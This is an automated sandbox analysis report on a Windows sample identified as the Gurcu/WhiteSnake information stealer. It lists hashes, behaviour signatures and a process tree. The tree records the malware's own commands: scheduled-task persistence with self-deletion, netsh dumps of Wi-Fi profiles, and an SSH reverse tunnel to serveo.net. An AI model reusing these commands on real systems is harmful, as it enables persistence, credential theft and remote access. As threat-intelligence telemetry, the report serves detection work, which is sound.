Analysis

  • max time kernel
    151s
  • max time network
    161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-10-2023 09:56

General

  • Target

    tmp.exe

  • Size

    426KB

  • MD5

    ef43d260ba94eea5dad184fcb6e1abcf

  • SHA1

    2cad3eaa11d5842b430ca28c9d185bc82d7661d1

  • SHA256

    8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

  • SHA512

    de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

  • SSDEEP

    6144:3Gd/t/a2zDGVPJXvnzZjDJHb571Kjn1929XDccHa+u9bamBftR0RgW:cRatpvnzZjDv7oj19yTaAmBftR0CW

Malware Config

Signatures

  • Detect Gurcu Stealer V3 payload 5 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "tmp" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\tmp.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3296
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1980
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:4516
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "tmp" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:4316
        • C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
          "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:1136
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2180
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:1248
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                  PID:224
                • C:\Windows\system32\findstr.exe
                  findstr /R /C:"[ ]:[ ]"
                  5⤵
                    PID:208
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2604
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:4420
                    • C:\Windows\system32\findstr.exe
                      findstr "SSID BSSID Signal"
                      5⤵
                        PID:5040
                      • C:\Windows\system32\netsh.exe
                        netsh wlan show networks mode=bssid
                        5⤵
                          PID:976
                      • C:\Windows\System32\OpenSSH\ssh.exe
                        "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4136 serveo.net
                        4⤵
                          PID:2028
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4108
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4464

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tmp.exe.log

                    Filesize

                    847B

                    MD5

                    3308a84a40841fab7dfec198b3c31af7

                    SHA1

                    4e7ab6336c0538be5dd7da529c0265b3b6523083

                    SHA256

                    169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

                    SHA512

                    97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

                  • C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

                    Filesize

                    426KB

                    MD5

                    ef43d260ba94eea5dad184fcb6e1abcf

                    SHA1

                    2cad3eaa11d5842b430ca28c9d185bc82d7661d1

                    SHA256

                    8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

                    SHA512

                    de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

                  • C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

                    Filesize

                    426KB

                    MD5

                    ef43d260ba94eea5dad184fcb6e1abcf

                    SHA1

                    2cad3eaa11d5842b430ca28c9d185bc82d7661d1

                    SHA256

                    8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

                    SHA512

                    de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

                  • C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

                    Filesize

                    426KB

                    MD5

                    ef43d260ba94eea5dad184fcb6e1abcf

                    SHA1

                    2cad3eaa11d5842b430ca28c9d185bc82d7661d1

                    SHA256

                    8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

                    SHA512

                    de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

                  • C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

                    Filesize

                    426KB

                    MD5

                    ef43d260ba94eea5dad184fcb6e1abcf

                    SHA1

                    2cad3eaa11d5842b430ca28c9d185bc82d7661d1

                    SHA256

                    8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

                    SHA512

                    de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

                  • C:\Users\Admin\AppData\Local\j615vue6hx\port.dat

                    Filesize

                    4B

                    MD5

                    93da579a65ce84cd1d4c85c2cbb84fc5

                    SHA1

                    6f541181bc282c67714f06143a01ab66dc16a797

                    SHA256

                    37a12a55b2d08d1247aa38c070d559dc8a271d510a79cb31b5fb0a0512ee961e

                    SHA512

                    12957091225b1ac00b26aa4f0460a2d0f6c5b4560ac62adc6a714b8d456bc7c383b39e6e4b6cde762f7725dd95bb1a5190733ee91d3bf5baf324cececfa9b242

                  • memory/1136-12-0x00000214B00C0000-0x00000214B00D0000-memory.dmp

                    Filesize

                    64KB

                  • memory/1136-11-0x00007FFF68EA0000-0x00007FFF69961000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/1136-15-0x00007FFF68EA0000-0x00007FFF69961000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/1136-16-0x00000214B00C0000-0x00000214B00D0000-memory.dmp

                    Filesize

                    64KB

                  • memory/2808-0-0x000001EBF8820000-0x000001EBF888C000-memory.dmp

                    Filesize

                    432KB

                  • memory/2808-6-0x00007FFF68EA0000-0x00007FFF69961000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2808-2-0x000001EBFA530000-0x000001EBFA540000-memory.dmp

                    Filesize

                    64KB

                  • memory/2808-1-0x00007FFF68EA0000-0x00007FFF69961000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/4108-18-0x00007FFF68EA0000-0x00007FFF69961000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/4108-19-0x00000270E9D30000-0x00000270E9D40000-memory.dmp

                    Filesize

                    64KB

                  • memory/4108-21-0x00007FFF68EA0000-0x00007FFF69961000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/4464-26-0x00007FFF68EA0000-0x00007FFF69961000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/4464-27-0x00007FFF68EA0000-0x00007FFF69961000-memory.dmp

                    Filesize

                    10.8MB